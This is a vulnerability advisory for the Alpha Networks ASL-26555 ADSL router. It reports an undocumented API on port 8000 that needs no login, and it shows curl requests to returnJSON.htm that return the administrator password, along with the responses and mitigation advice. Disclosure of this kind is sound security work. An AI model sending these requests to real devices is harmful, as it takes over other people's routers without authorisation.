Alpha Networks ADSL2/2+ Wireless Router ASL-26555 – Password Disclosure
- Title: Alpha Networks ADSL2/2+ Wireless Router ASL-26555 Remote Administration Password Disclosure - Author: Alberto Ortega @a0rtega alberto[@]pentbox[.]net - Version: Tested on firmware version v2.0.0.30B_ES. Laboratory subject: http://a0rtega.pentbox.net/files/asl-26555-zombie.jpg - Summary: Alpha Networks ADSL Wireless Routers have an administration web panel to manage the device configuration. To access the panel, the administrator has to visit the IP of the device using the port 8000 with a web browser. It will prompt for authentication. $ curl http://192.168.1.1:8000/SETUP/sp_home.htm <title>401 Not Authorized</title> <h1>401 Not Authorized</h1> $ curl -I http://192.168.1.1:8000/SETUP/sp_home.htm HTTP/1.1 401 Not Authorized Server: LocalAccess Date: Thu, 16 Aug 2012 18:23:08 GMT WWW-Authenticate: Basic realm="ASL-26555" - The vulnerability: If we investigate the directory /APIS/ in the same web server we will have a fully usable API to grab information from the device. This API doesn't seem to be documented anywhere, quite weird (backdoor?). Also, this API doesn't require authentication and grant us administrator access. The implemented calls to the API are: returnWifiJSON.htm returnInterfacesJSON.txt returnWelcomeInfoJSON.htm returnFirewallLevelJSON.txt returnUsbJSON.htm returnFirewallJSON.txt returnServicesJSON.txt returnDhcpList.htm returnPasswordJSON.htm returnDevicesJSON.htm returnLoginStatusJSON.htm returnApplicationsListJSON.htm returnLoginJSON.txt returnApplicationsJSON.htm returnJSON.htm returnApplicationJSON.txt returnIpJSON.txt returnInternetJSON.htm We can read all the configuration from the device without authentication. In addition, we have a call named returnJSON.htm that returns us the credentials of the administrator user: $ curl -I http://192.168.1.1:8000/APIS/returnJSON.htm HTTP/1.1 200 OK Server: LocalAccess Date: Thu, 16 Aug 2012 18:29:50 GMT Transfer-Encoding: chunked Content-Type: text/html $ curl http://192.168.1.1:8000/APIS/returnJSON.htm { "RETURN":{ "success": true, "errorDescription": "ERROR_GENERAL" }, "USER":{ "USERNAME": "admin", "PASSWORD": "adm1n_passw0rd_exposed" } } This credentials can be used to log into the web panel with the administrator account. - Mitigation: The only possible mitigation is to drop access to everyone from the outside with a network level blocking configuration. This can be done in the Advanced configuration of the device. You can also turn off the web panel, but you won't be able to manage the device. |